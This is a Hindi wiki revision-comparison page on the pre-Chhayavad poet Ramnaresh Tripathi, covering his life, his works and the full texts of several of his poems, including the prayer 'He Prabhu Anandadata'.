"रामनरेश त्रिपाठी": अवतरणों में अंतर
शिल्पी गोयल (वार्ता | योगदान) ('पूर्व छायावाद युग के कुछ थोड़े समय से समर्थ कवियों म...' के साथ नया पन्ना बनाया) |
No edit summary |
||
(9 सदस्यों द्वारा किए गए बीच के 38 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
{{सूचना बक्सा साहित्यकार | |||
==== | |चित्र=Ram-Naresh-Tripathi.jpg | ||
|चित्र का नाम= | |||
|पूरा नाम=रामनरेश त्रिपाठी | |||
|अन्य नाम= | |||
|जन्म=[[4 मार्च]], [[1881]] | |||
|जन्म भूमि=[[जौनपुर]], [[उत्तर प्रदेश]] | |||
|मृत्यु=[[16 जनवरी]], [[1962]] | |||
|मृत्यु स्थान=[[प्रयाग]] | |||
|अभिभावक=पंडित रामदत्त त्रिपाठी | |||
|पति/पत्नी= | |||
|संतान= | |||
|कर्म भूमि=[[प्रयाग]] | |||
|कर्म-क्षेत्र=[[साहित्य]] | |||
|मुख्य रचनाएँ=[[मिलन]], [[पथिक]], [[स्वप्न खंड काव्य|स्वप्न]], मानसी, अंवेषण, हे प्रभो आनन्ददाता.... आदि। | |||
|विषय=[[उपन्यास]], [[नाटक]], आलोचना, गीत, बालोपयोगी पुस्तकें | |||
|भाषा=[[खड़ी बोली]], [[हिन्दी]], [[उर्दू]] | |||
|विद्यालय= | |||
|शिक्षा= | |||
|पुरस्कार-उपाधि=हिंदुस्तान अकादमी पुरस्कार | |||
|प्रसिद्धि= | |||
|विशेष योगदान= | |||
|नागरिकता=भारतीय | |||
|संबंधित लेख= | |||
|शीर्षक 1= | |||
|पाठ 1= | |||
|शीर्षक 2= | |||
|पाठ 2= | |||
|अन्य जानकारी= | |||
|बाहरी कड़ियाँ= | |||
|अद्यतन= | |||
}} | |||
'''रामनरेश त्रिपाठी''' ([[अंग्रेज़ी]]: ''Ramnaresh Tripathi'', जन्म- [[4 मार्च]], [[1881]], कोइरीपुर, [[जौनपुर]], [[उत्तर प्रदेश]]; मृत्यु- [[16 जनवरी]], [[1962]], [[प्रयाग]]) प्राक्छायावादी युग के महत्त्वपूर्ण [[कवि]] थे, जिन्होंने राष्ट्रप्रेम की कविताएँ भी लिखीं। इन्होंने [[कविता]] के अलावा [[उपन्यास]], [[नाटक]], आलोचना, [[हिन्दी साहित्य]] का संक्षिप्त इतिहास तथा बालोपयोगी पुस्तकें भी लिखीं। इनकी मुख्य काव्य कृतियाँ हैं- '[[मिलन]], '[[पथिक]], '[[स्वप्न खंड काव्य|स्वप्न]] तथा 'मानसी। रामनरेश त्रिपाठी ने लोक-गीतों के चयन के लिए [[कश्मीर]] से [[कन्याकुमारी]] और [[सौराष्ट्र]] से [[गुवाहाटी]] तक सारे देश का भ्रमण किया। 'स्वप्न' पर इन्हें हिंदुस्तान अकादमी का पुरस्कार मिला।<ref>{{cite web |url=http://www.brandbihar.com/hindi/literature/kavya/ramnaresh_tripathi.html |title=रामनरेश त्रिपाठी |accessmonthday=10 फ़रवरी |accessyear=2011 |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=ब्रांड बिहार |language=[[हिन्दी]]}}</ref> | |||
==जीवन परिचय== | |||
"हे प्रभो! आनन्ददाता ज्ञान हमको दीजिए" जैसा प्रेरणादायी गीत रचकर, [[प्रार्थना]] के रूप में स्कूलों में छात्रों व शिक्षकों की वाणी में बसे, महाकवि पंडित रामनरेश त्रिपाठी [[साहित्य]] के आकाश के चमकीले [[नक्षत्र]] थे। रामनरेश त्रिपाठी का जन्म ज़िला [[जौनपुर]] के कोइरीपुर नामक गाँव में [[4 मार्च]], सन् [[1881]] ई. में एक कृषक [[परिवार]] में हुआ था। उनके [[पिता]] 'पंडित रामदत्त त्रिपाठी' परम धर्म व सदाचार परायण [[ब्राह्मण]] थे। पंडित रामदत्त त्रिपाठी [[भारतीय सेना]] में [[सूबेदार]] के पद पर रह चुके थे, उनका रक्त पंडित रामनरेश त्रिपाठी की रगों में धर्मनिष्ठा, कर्तव्यनिष्ठा व राष्ट्रभक्ति की भावना के रूप में बहता था। उन्हें अपने परिवार से ही निर्भीकता और आत्मविश्वास के गुण मिले थे। पंडित त्रिपाठी की प्रारम्भिक शिक्षा गाँव के प्राइमरी स्कूल में हुई। जूनियर कक्षा उत्तीर्ण कर हाईस्कूल वह निकटवर्ती [[जौनपुर ज़िला|जौनपुर ज़िले]] में पढ़ने गए मगर वह हाईस्कूल की शिक्षा पूरी नहीं कर सके। पिता से अनबन होने पर अट्ठारह [[वर्ष]] की आयु में वह [[कलकत्ता]] चले गए। | |||
==हे प्रभो आनन्ददाता की रचना== | |||
पंडित त्रिपाठी में कविता के प्रति रुचि प्राथमिक शिक्षा प्राप्त करते समय जाग्रत हुई थी। वह कलकत्ता में संक्रामक रोग हो जाने की वजह से अधिक समय तक नहीं रह सके। वह स्वास्थ्य सुधार के लिए एक व्यक्ति की सलाह मानकर [[जयपुर]] के [[सीकर]] ठिकाना स्थित फतेहपुर ग्राम में 'सेठ रामवल्लभ नेवरिया' के पास चले गए। यह एक संयोग ही था कि मरणासन्न स्थिति में वह अपने घर परिवार में न जाकर सुदूर अपरिचित स्थान [[राजपूताना]] के एक अजनबी परिवार में जा पहुँचे जहाँ शीघ्र ही इलाज व स्वास्थ्यप्रद जलवायु पाकर रोगमुक्त हो गए। पंडित त्रिपाठी ने सेठ रामवल्लभ के पुत्रों की शिक्षा-दीक्षा की ज़िम्मेदारी को कुशलतापूर्वक निभाया। इस दौरान उनकी लेखनी पर [[सरस्वती देवी|मां सरस्वती]] की मेहरबानी हुई और उन्होंने “हे प्रभो! आनन्ददाता..” जैसी बेजोड़ रचना कर डाली जो आज भी अनेक स्कूलों में प्रार्थना के रूप में गाई जाती है।<ref name="कविता कोश">{{cite web |url=http://www.kavitakosh.org/kk/index.php?title=%E0%A4%B0%E0%A4%BE%E0%A4%AE%E0%A4%A8%E0%A4%B0%E0%A5%87%E0%A4%B6_%E0%A4%A4%E0%A5%8D%E0%A4%B0%E0%A4%BF%E0%A4%AA%E0%A4%BE%E0%A4%A0%E0%A5%80_/_%E0%A4%AA%E0%A4%B0%E0%A4%BF%E0%A4%9A%E0%A4%AF |title=रामनरेश त्रिपाठी |accessmonthday=[[18 अप्रैल]] |accessyear=[[2011]] |last= |first= |authorlink= |format=एच टी एम एल |publisher=कविता कोश |language=[[हिन्दी]]}}</ref> | |||
==साहित्य साधना की शुरुआत== | |||
पंडित त्रिपाठी की साहित्य साधना की शुरुआत फतेहपुर में होने के बाद उन्होंने उन दिनों तमाम छोटे-बड़े बालोपयोगी काव्य संग्रह, सामाजिक उपन्यास और [[हिन्दी]] [[महाभारत]] लिखे। उन्होंने हिन्दी तथा [[संस्कृत]] के सम्पूर्ण साहित्य का गहन अध्ययन किया। पंडित त्रिपाठी ज्ञान एवं अनुभव की संचित पूंजी लेकर [[वर्ष]] [[1915]] में पुण्यतीर्थ एवं ज्ञानतीर्थ [[प्रयाग]] गए और उसी क्षेत्र को उन्होंने अपनी कर्मस्थली बनाया। उन्होंने थोड़ी पूंजी से प्रकाशन का व्यवसाय भी आरम्भ किया। पंडित त्रिपाठी ने गद्य और पद्य दोनों में रचनाएँ की तथा मौलिकता के नियम को ध्यान में रखकर रचनाओं को अंजाम दिया। हिन्दी जगत में वह मार्गदर्शी साहित्यकार के रूप में अवरित हुए और सारे देश में लोकप्रिय हो गए। | |||
हिन्दी के प्रथम एवं सर्वोत्कृष्ट राष्ट्रीय [[खण्डकाव्य]] “[[पथिक (खण्डकाव्य) -रामनरेश त्रिपाठी|पथिक]]” की रचना उन्होंने वर्ष [[1920]] में 21 दिन में की। इसके अतिरिक्त उनके प्रसिद्ध मौलिक खण्डकाव्यों में “[[मिलन (खण्डकाव्य)|मिलन]]” और “[[स्वप्न (खण्डकाव्य) -रामनरेश त्रिपाठी|स्वप्न]]” भी शामिल हैं। उन्होंने बड़े परिश्रम से 'कविता कौमुदी' के सात विशाल एवं अनुपम संग्रह-ग्रंथों का भी सम्पादन एवं प्रकाशन किया। पंडित त्रिपाठी कलम के धनी ही नहीं बल्कि कर्मशूर भी थे। [[महात्मा गाँधी]] के निर्देश पर त्रिपाठी जी हिन्दी साहित्य सम्मेलन के प्रचार मंत्री के रूप में हिन्दी जगत के दूत बनकर दक्षिण [[भारत]] गए थे। वह पक्के गांधीवादी देशभक्त और राष्ट्र सेवक थे। [[स्वाधीनता संग्राम]] और [[किसान आन्दोलन|किसान आन्दोलनों]] में भाग लेकर वह जेल भी गए। पंडित त्रिपाठी को अपने जीवन काल में कोई राजकीय सम्मान तो नहीं मिला पर उससे भी कही ज़्यादा गौरवपद लोक सम्मान तथा अक्षय यश उन पर अवश्य बरसा।<ref name="कविता कोश" /> | |||
====स्वच्छन्दतावादी कवि==== | |||
रामनरेश त्रिपाठी स्वच्छन्दतावादी भावधारा के कवि के रूप में प्रतिष्ठित हुए हैं। इनसे पूर्व श्रीधर पाठक ने [[हिन्दी]] कविता में स्वच्छन्दतावाद (रोमाण्टिसिज्म) को जन्म दिया था। रामनरेश त्रिपाठी ने अपनी रचनाओं द्वारा उक्त परम्परा को विकसित किया और सम्पन्न बनाया। देश प्रेम तथा राष्ट्रीयता की अनुभूतियाँ इनकी रचनाओं का मुख्य विषय रही हैं। हिन्दी कविता के मंच पर ये राष्ट्रीय भावनाओं के गायक के रूप में बहुत लोकप्रिय हुए। प्रकृति-चित्रण में भी इन्हें अदभुत सफलता प्राप्त हुई है। | रामनरेश त्रिपाठी स्वच्छन्दतावादी भावधारा के कवि के रूप में प्रतिष्ठित हुए हैं। इनसे पूर्व श्रीधर पाठक ने [[हिन्दी]] कविता में स्वच्छन्दतावाद (रोमाण्टिसिज्म) को जन्म दिया था। रामनरेश त्रिपाठी ने अपनी रचनाओं द्वारा उक्त परम्परा को विकसित किया और सम्पन्न बनाया। देश प्रेम तथा राष्ट्रीयता की अनुभूतियाँ इनकी रचनाओं का मुख्य विषय रही हैं। हिन्दी कविता के मंच पर ये राष्ट्रीय भावनाओं के गायक के रूप में बहुत लोकप्रिय हुए। प्रकृति-चित्रण में भी इन्हें अदभुत सफलता प्राप्त हुई है। | ||
==== | ====काव्य कृतियाँ==== | ||
इनकी चार काव्य कृतियाँ उल्लेखनीय हैं- 'मिलन' ([[1918]] ई.) | इनकी चार काव्य कृतियाँ उल्लेखनीय हैं- | ||
==== | *'मिलन' ([[1918]] ई.) | ||
*'पथिक' ([[1921]] ई.) | |||
; | *'मानसी' ([[1927]] ई.) | ||
* 'स्वप्न' ([[1929]] ई.)। इनमें 'मानसी' फुटकर कविताओं का संग्रह है और शेष तीनों कृतियाँ प्रेमाख्यानक [[खण्डकाव्य]] है। | |||
====खण्ड काव्य==== | |||
रामनरेश त्रिपाठी ने [[खण्ड काव्य|खण्ड काव्यों]] की रचना के लिए किन्हीं [[पुराण|पौराणिक]] अथवा ऐतिहासिक कथा सूत्रों का आश्रय नहीं लिया है, वरन् अपनी कल्पना शक्ति से मौलिक तथा मार्मिक कथाओं की सृष्टि की है। कवि द्वारा निर्मित होने के कारण इन काव्यों के चरित्र बड़े आकर्षक हैं और जीवन के साँचे में ढाले हुए जान पड़ते हैं। इन तीनों ही खण्ड काव्यों की एक सामान्य विशेषता यह है कि इनमें देशभक्ति की भावनाओं का समावेश बहुत ही सरसता के साथ किया गया है। उदाहरण के लिए 'स्वप्न' नामक खण्ड काव्य को लिया जा सकता है। इसका नायक वसन्त नामक नवयुवक एक ओर तो अपनी प्रिया के प्रगाढ़ प्रेम में लीन रहना चाहता है, मनोरम प्रकृति के क्रोड़ में उसके साहचर्य-सुख की अभिलाषा करता है और दूसरी ओर समाज का दुख-दर्द दूर करने के लिए राष्ट्रोद्धार की भावना से आन्दोलित होता रहता है। उसके मन में इस प्रकार का अन्तर्द्वन्द बहुत समय तक चलता है। अन्तत: वह अपनी प्रिया के द्वारा प्रेरित किये जाने पर राष्ट्र प्रेम को प्राथमिकता देता है और शत्रुओं द्वारा पदाक्रान्त स्वेदश की रक्षा एवं उद्धार करने में सफल हो जाता है। इस प्रकार की भावनाओं से परिपूर्ण होने के कारण रामनरेश त्रिपाठी के काव्य बहुत दिनों तक राष्ट्रप्रेमी नवयुवकों के कण्ठहार बन हुए थे। | |||
;प्रकृति चित्रण | |||
रामनरेश त्रिपाठी अपनी काव्य कृतियों में प्रकृति के सफल चितेरे रहे हैं। इन्होंने प्रकृति चित्रण व्यापक, विशद और स्वतंत्र रूप में किया है। इनके सहज-मनोरम प्रकृति-चित्रों में कहीं-कहीं छायावाद की झलक भी मिल जाती है। उदाहरण के लिए 'पथिक' की दो पंक्तियाँ द्रष्टव्य हैं- | रामनरेश त्रिपाठी अपनी काव्य कृतियों में प्रकृति के सफल चितेरे रहे हैं। इन्होंने प्रकृति चित्रण व्यापक, विशद और स्वतंत्र रूप में किया है। इनके सहज-मनोरम प्रकृति-चित्रों में कहीं-कहीं छायावाद की झलक भी मिल जाती है। उदाहरण के लिए 'पथिक' की दो पंक्तियाँ द्रष्टव्य हैं- | ||
<poem>“प्रति क्षण नूतन वेष बनाकर रंग-विरंग निराला। रवि के सम्मुख थिरक रही है नभ में वारिद माला”</poem> | <poem> | ||
“प्रति क्षण नूतन वेष बनाकर रंग-विरंग निराला। | |||
रवि के सम्मुख थिरक रही है नभ में वारिद माला”</poem> | |||
==भाषा== | ==भाषा== | ||
प्रकृति चित्र हों, या अन्यान्य प्रकार के वर्णन, सर्वत्र रामनरेश त्रिपाठी ने भाषा | प्रकृति चित्र हों, या अन्यान्य प्रकार के वर्णन, सर्वत्र रामनरेश त्रिपाठी ने [[भाषा]] का बहुत ख्याल रखा है। इनके काव्यों की भाषा शुद्ध, सहज [[खड़ी बोली]] है, जो इस रूप में हिन्दी काव्य में प्रथम बार प्रयुक्त दिखाई देती है। इनमें [[व्याकरण]] तथा वाक्य-रचना सम्बन्धी त्रुटियाँ नहीं मिलतीं। इन्होंने कहीं-कहीं [[उर्दू]] के प्रचलित शब्दों और उर्दू-छन्दों का भी व्यवहार किया है- | ||
<poem>“मेरे लिए खड़ा था दुखियों के द्वार पर तू। मैं बाट जोहता था तेरी किसी चमन में।। बनकर किसी के आँसू मेरे लिए बहा तू। मैं देखता तुझे था माशूक के बदन में”।।</poem> | <poem> | ||
; | “मेरे लिए खड़ा था दुखियों के द्वार पर तू। | ||
मैं बाट जोहता था तेरी किसी चमन में।। | |||
बनकर किसी के आँसू मेरे लिए बहा तू। | |||
मैं देखता तुझे था माशूक के बदन में”।।</poem> | |||
==कृतियाँ== | |||
;उपन्यास तथा नाटक | |||
रामनरेश त्रिपाठी ने काव्य-रचना के अतिरिक्त उपन्यास तथा नाटक लिखे हैं, आलोचनाएँ की हैं और टीका भी। इनके तीन उपन्यास उल्लेखनीय हैं- | रामनरेश त्रिपाठी ने काव्य-रचना के अतिरिक्त उपन्यास तथा नाटक लिखे हैं, आलोचनाएँ की हैं और टीका भी। इनके तीन उपन्यास उल्लेखनीय हैं- | ||
*'वीरागंना' (1911 ई.), | *'वीरागंना' (1911 ई.), | ||
*'वीरबाला' (1911 ई.), | *'वीरबाला' (1911 ई.), | ||
*'लक्ष्मी' (1924 ई.) | *'लक्ष्मी' (1924 ई.) | ||
; | ;नाट्य कृतियाँ | ||
तीन उल्लेखनीय नाट्य कृतियाँ हैं- | तीन उल्लेखनीय नाट्य कृतियाँ हैं- | ||
*'सुभद्रा' (1924 ई.), | *'सुभद्रा' (1924 ई.), | ||
*'जयन्त' (1934 ई.), | *'जयन्त' (1934 ई.), | ||
*'प्रेमलोक' (1934 ई.) | *'प्रेमलोक' (1934 ई.) | ||
{| width="100%" border="1" class="bharattable-purple" | |||
|-valign="top" | |||
|+'''रचनाऐं''' | |||
| valign="top"| | |||
{| width=100% | |||
|- | |||
! '''अन्वेषण''' | |||
|- | |||
|<poem>मैं ढूँढता तुझे था, जब कुंज और वन में। | |||
तू खोजता मुझे था, तब दीन के सदन में॥ | |||
तू 'आह' बन किसी की, मुझको पुकारता था। | |||
मैं था तुझे बुलाता, संगीत में भजन में॥ | |||
मेरे लिए खड़ा था, दुखियों के द्वार पर तू। | |||
मैं बाट जोहता था, तेरी किसी चमन में॥ | |||
बनकर किसी के आँसू, मेरे लिए बहा तू। | |||
आँखे लगी थी मेरी, तब मान और धन में॥ | |||
बाजे बजाबजा कर, मैं था तुझे रिझाता। | |||
तब तू लगा हुआ था, पतितों के संगठन में॥ | |||
मैं था विरक्त तुझसे, जग की अनित्यता पर। | |||
उत्थान भर रहा था, तब तू किसी पतन में॥ | |||
बेबस गिरे हुओं के, तू बीच में खड़ा था। | |||
मैं स्वर्ग देखता था, झुकता कहाँ चरन में॥ | |||
तूने दिया अनेकों अवसर न मिल सका मैं। | |||
तू कर्म में मगन था, मैं व्यस्त था कथन में॥ | |||
तेरा पता सिकंदर को, मैं समझ रहा था। | |||
पर तू बसा हुआ था, फरहाद कोहकन में॥ | |||
क्रीसस की 'हाय' में था, करता विनोद तू ही। | |||
तू अंत में हंसा था, महमुद के रुदन में॥ | |||
प्रहलाद जानता था, तेरा सही ठिकाना। | |||
तू ही मचल रहा था, मंसूर की रटन में॥ | |||
आखिर चमक पड़ा तू गाँधी की हड्डियों में। | |||
मैं था तुझे समझता, सुहराब पीले तन में। | |||
कैसे तुझे मिलूँगा, जब भेद इस क़दर है। | |||
हैरान होके भगवन, आया हूँ मैं सरन में॥ | |||
तू रूप कै किरन में सौंदर्य है सुमन में। | |||
तू प्राण है पवन में, विस्तार है गगन में॥ | |||
तू ज्ञान हिन्दुओं में, ईमान मुस्लिमों में। | |||
तू प्रेम क्रिश्चियन में, तू सत्य है सुजन में॥ | |||
हे दीनबंधु ऐसी, प्रतिभा प्रदान कर तू। | |||
देखूँ तुझे दृगों में, मन में तथा वचन में॥ | |||
कठिनाइयों दुखों का, इतिहास ही सुयश है। | |||
मुझको समर्थ कर तू, बस कष्ट के सहन में॥ | |||
दुख में न हार मानूँ, सुख में तुझे न भूलूँ। | |||
ऐसा प्रभाव भर दे, मेरे अधीर मन में॥<ref>{{cite web |url=http://www.manaskriti.com/kaavyaalaya/anveshan.stm |title=रामनरेश त्रिपाठी |accessmonthday=[[18 अप्रैल]] |accessyear=[[2011]] |last= |first= |authorlink= |format= |publisher=काव्यालय |language=[[हिन्दी]] }}</ref></poem> | |||
|} | |||
| valign="top"| | |||
{| width=100% | |||
|- | |||
! '''हे प्रभु आनंददाता''' | |||
|- | |||
|<poem>हे प्रभु आनंददाता ज्ञान हमको दीजिये, | |||
शीघ्र सारे दुर्गुणों को दूर हमसे कीजिए, | |||
लीजिये हमको शरण में, हम सदाचारी बनें, | |||
ब्रह्मचारी धर्म-रक्षक वीर व्रत धारी बनें, | |||
हे प्रभु आनंददाता ज्ञान हमको दीजिये... | |||
निंदा किसी की हम किसी से भूल कर भी न करें, | |||
ईर्ष्या कभी भी हम किसी से भूल कर भी न करें, | |||
हे प्रभु आनंददाता ज्ञान हमको दीजिये... | |||
सत्य बोलें, झूठ त्यागें, मेल आपस में करें, | |||
दिव्या जीवन हो हमारा, यश तेरा गाया करें, | |||
हे प्रभु आनंददाता ज्ञान हमको दीजिये... | |||
जाये हमारी आयु हे प्रभु लोक के उपकार में, | |||
हाथ डालें हम कभी न भूल कर अपकार में, | |||
हे प्रभु आनंददाता ज्ञान हमको दीजिये... | |||
कीजिए हम पर कृपा ऐसी हे परमात्मा, | |||
मोह मद मत्सर रहित होवे हमारी आत्मा, | |||
हे प्रभु आनंददाता ज्ञान हमको दीजिये... | |||
प्रेम से हम गुरु जनों की नित्य ही सेवा करें, | |||
प्रेम से हम संस्कृति की नित्य ही सेवा करें, | |||
हे प्रभु आनंददाता ज्ञान हमको दीजिये... | |||
योग विद्या ब्रह्म विद्या हो अधिक प्यारी हमें, | |||
ब्रह्म निष्ठा प्राप्त कर के सर्व हितकारी बनें, | |||
हे प्रभु आनंददाता ज्ञान हमको दीजिये...<ref>{{cite web |url=http://important-satsang-points.blogspot.com/2008/02/blog-post.html |title=रामनरेश त्रिपाठी |accessmonthday=[[18 अप्रैल]] |accessyear=[[2011]] |last= |first= |authorlink= |format=एच टी एम एल |publisher=सत्संग पॉइंट |language=[[हिन्दी]] }}</ref></poem> | |||
|} | |||
| | |||
{| width=100% | |||
|- | |||
! '''वह देश कौन-सा है''' | |||
|- | |||
|<poem>मन मोहनी प्रकृति की गोद में जो बसा है। | |||
सुख स्वर्ग-सा जहाँ है वह देश कौन-सा है।। | |||
जिसका चरण निरंतर रतनेश धो रहा है। | |||
जिसका मुकुट हिमालय वह देश कौन-सा है।। | |||
नदियाँ जहाँ सुधा की धारा बहा रही हैं। | |||
सींचा हुआ सलोना वह देश कौन-सा है।। | |||
जिसके बड़े रसीले फल कंद नाज मेवे। | |||
सब अंग में सजे हैं वह देश कौन-सा है।। | |||
जिसमें सुगंध वाले सुंदर प्रसून प्यारे। | |||
दिन रात हँस रहे है वह देश कौन-सा है।। | |||
मैदान गिरि वनों में हरियालियाँ लहकती। | |||
आनंदमय जहाँ है वह देश कौन-सा है।। | |||
जिसके अनंत धन से धरती भरी पड़ी है। | |||
संसार का शिरोमणि वह देश कौन-सा है।।<ref>{{cite web |url=http://www.anubhuti-hindi.org/sankalan/mera_bharat/mera_bharat02.htm |title=रामनरेश त्रिपाठी |accessmonthday=[[18 अप्रैल]] |accessyear=[[2011]] |last= |first= |authorlink= |format=एच टी एम |publisher=अनुभूति |language=[[हिन्दी]] }}</ref></poem> | |||
|} | |||
|} | |||
==अन्य कृतियाँ== | ==अन्य कृतियाँ== | ||
आलोचनात्मक कृतियों के रूप में इनकी दो पुस्तकें 'तुलसीदास और उनकी कविता' तथा 'हिन्दी साहित्य का संक्षिप्त इतिहास' विचारणीय हैं। टीकाकार के रूप में अपनी 'रामचरितमानस की टीका' के कारण स्मरण किये जाते हैं। 'तीस दिन मालवीय जी के साथ' त्रिपाठी जी की उत्कृष्ट संस्मरणात्मक कृति है। इनके साहित्यिक कृतित्व का एक महत्त्वपूर्ण भाग सम्पादन कार्यों के अंतर्गत आता है। | आलोचनात्मक कृतियों के रूप में इनकी दो पुस्तकें 'तुलसीदास और उनकी कविता' तथा 'हिन्दी साहित्य का संक्षिप्त इतिहास' विचारणीय हैं। टीकाकार के रूप में अपनी 'रामचरितमानस की टीका' के कारण स्मरण किये जाते हैं। 'तीस दिन मालवीय जी के साथ' त्रिपाठी जी की उत्कृष्ट संस्मरणात्मक कृति है। इनके साहित्यिक कृतित्व का एक महत्त्वपूर्ण भाग सम्पादन कार्यों के अंतर्गत आता है। सन् [[1925]] ई. में इन्होंने [[हिन्दी]], [[उर्दू भाषा|उर्दू]], [[संस्कृत भाषा|संस्कृत]] और [[बांग्ला भाषा|बांग्ला]] की लोकप्रिय कविताओं का संकलन और सम्पादन किया। इनका यह कार्य आठ भागों में 'कविता कौमुदी' के नाम से प्रकाशित हुआ है। इसी में एक भाग ग्राम-गीतों का है। ग्राम-गीतों के संकलन, सम्पादन और उनके भावात्मक भाष्य प्रस्तुत करने की दृष्टि से इनका कार्य विशेष रूप से उल्लेखनीय रहा है। ये हिन्दी में इस दिशा में कार्य करने वाले पहले व्यक्ति रहे हैं और इन्हें पर्याप्त सफलता तथा कीर्ति मिली है। [[1931]] से [[1941]] ई. तक इन्होंने 'वानर' का सम्पादन तथा प्रकाशन किया था। इनके द्वारा सम्पादित और मौलिक रूप में लिखित बालकोपयोगी साहित्य भी बहुत अधिक मात्रा में उपलब्ध है। | ||
==== | ====प्रसिद्धि==== | ||
रामनरेश त्रिपाठी की प्रसिद्धि मुख्यत: इनके कवि-रूप के कारण हुई। ये 'द्विवेदीयुग' और 'छायावाद युग' की महत्त्वपूर्ण कड़ी के रूप में आते हैं। पूर्व छायावाद युग के खड़ी बोली के कवियों में इनका नाम बहुत आदर से लिया जाता है। इनका प्रारम्भिक कार्य-क्षेत्र [[राजस्थान]] और [[इलाहाबाद]] रहा। इन्होंने अन्तिम जीवन सुल्तानपुर में बिताया। | |||
==मृत्यु== | ==मृत्यु== | ||
रामनरेश त्रिपाठी ने [[16 जनवरी]], [[1962]] को अपने कर्मभूमि [[प्रयाग]] में ही अंतिम सांस ली। पंडित त्रिपाठी के निधन के बाद आज उनके गृह जनपद सुलतानपुर में एक मात्र सभागार स्थापित है जो उनकी स्मृतियों को ताजा करता है। | |||
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }} | |||
{{लेख प्रगति | |||
|आधार= | |||
|प्रारम्भिक=प्रारम्भिक1 | |||
|माध्यमिक= | |||
|पूर्णता= | |||
|शोध= | |||
}} | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
*पुस्तक- हिंदी साहित्य कोश भाग-2, पृष्ठ- 516-517, लेखक- डॉ. धीरेंद्र वर्मा, प्रकाशक- ज्ञानमण्डल लिमिटेड, वाराणसी | |||
<references/> | <references/> | ||
==बाहरी कड़ियाँ== | |||
*[http://www.kavitakosh.org/kk/index.php?title=%E0%A4%B0%E0%A4%BE%E0%A4%AE%E0%A4%A8%E0%A4%B0%E0%A5%87%E0%A4%B6_%E0%A4%A4%E0%A5%8D%E0%A4%B0%E0%A4%BF%E0%A4%AA%E0%A4%BE%E0%A4%A0%E0%A5%80 कविता कोश] | |||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{साहित्यकार}} | {{साहित्यकार}}{{भारत के कवि}} | ||
{{भारत के कवि}} | [[Category:कवि]][[Category:साहित्यकार]][[Category:उपन्यासकार]][[Category:लेखक]][[Category:आधुनिक लेखक]][[Category:साहित्य कोश]][[Category:आधुनिक साहित्यकार]][[Category:आधुनिक कवि]][[Category:रामनरेश त्रिपाठी]] | ||
[[Category: | |||
[[Category: | |||
[[Category: | |||
[[Category:साहित्य कोश]] | |||
[[Category: | |||
__NOTOC__ | __NOTOC__ |
05:15, 4 मार्च 2018 के समय का अवतरण
रामनरेश त्रिपाठी
| |
पूरा नाम | रामनरेश त्रिपाठी |
जन्म | 4 मार्च, 1881 |
जन्म भूमि | जौनपुर, उत्तर प्रदेश |
मृत्यु | 16 जनवरी, 1962 |
मृत्यु स्थान | प्रयाग |
अभिभावक | पंडित रामदत्त त्रिपाठी |
कर्म भूमि | प्रयाग |
कर्म-क्षेत्र | साहित्य |
मुख्य रचनाएँ | मिलन, पथिक, स्वप्न, मानसी, अंवेषण, हे प्रभो आनन्ददाता.... आदि। |
विषय | उपन्यास, नाटक, आलोचना, गीत, बालोपयोगी पुस्तकें |
भाषा | खड़ी बोली, हिन्दी, उर्दू |
पुरस्कार-उपाधि | हिंदुस्तान अकादमी पुरस्कार |
नागरिकता | भारतीय |
इन्हें भी देखें | कवि सूची, साहित्यकार सूची |
रामनरेश त्रिपाठी (अंग्रेज़ी: Ramnaresh Tripathi, जन्म- 4 मार्च, 1881, कोइरीपुर, जौनपुर, उत्तर प्रदेश; मृत्यु- 16 जनवरी, 1962, प्रयाग) प्राक्छायावादी युग के महत्त्वपूर्ण कवि थे, जिन्होंने राष्ट्रप्रेम की कविताएँ भी लिखीं। इन्होंने कविता के अलावा उपन्यास, नाटक, आलोचना, हिन्दी साहित्य का संक्षिप्त इतिहास तथा बालोपयोगी पुस्तकें भी लिखीं। इनकी मुख्य काव्य कृतियाँ हैं- 'मिलन, 'पथिक, 'स्वप्न तथा 'मानसी। रामनरेश त्रिपाठी ने लोक-गीतों के चयन के लिए कश्मीर से कन्याकुमारी और सौराष्ट्र से गुवाहाटी तक सारे देश का भ्रमण किया। 'स्वप्न' पर इन्हें हिंदुस्तान अकादमी का पुरस्कार मिला।[1]
जीवन परिचय
"हे प्रभो! आनन्ददाता ज्ञान हमको दीजिए" जैसा प्रेरणादायी गीत रचकर, प्रार्थना के रूप में स्कूलों में छात्रों व शिक्षकों की वाणी में बसे, महाकवि पंडित रामनरेश त्रिपाठी साहित्य के आकाश के चमकीले नक्षत्र थे। रामनरेश त्रिपाठी का जन्म ज़िला जौनपुर के कोइरीपुर नामक गाँव में 4 मार्च, सन् 1881 ई. में एक कृषक परिवार में हुआ था। उनके पिता 'पंडित रामदत्त त्रिपाठी' परम धर्म व सदाचार परायण ब्राह्मण थे। पंडित रामदत्त त्रिपाठी भारतीय सेना में सूबेदार के पद पर रह चुके थे, उनका रक्त पंडित रामनरेश त्रिपाठी की रगों में धर्मनिष्ठा, कर्तव्यनिष्ठा व राष्ट्रभक्ति की भावना के रूप में बहता था। उन्हें अपने परिवार से ही निर्भीकता और आत्मविश्वास के गुण मिले थे। पंडित त्रिपाठी की प्रारम्भिक शिक्षा गाँव के प्राइमरी स्कूल में हुई। जूनियर कक्षा उत्तीर्ण कर हाईस्कूल वह निकटवर्ती जौनपुर ज़िले में पढ़ने गए मगर वह हाईस्कूल की शिक्षा पूरी नहीं कर सके। पिता से अनबन होने पर अट्ठारह वर्ष की आयु में वह कलकत्ता चले गए।
हे प्रभो आनन्ददाता की रचना
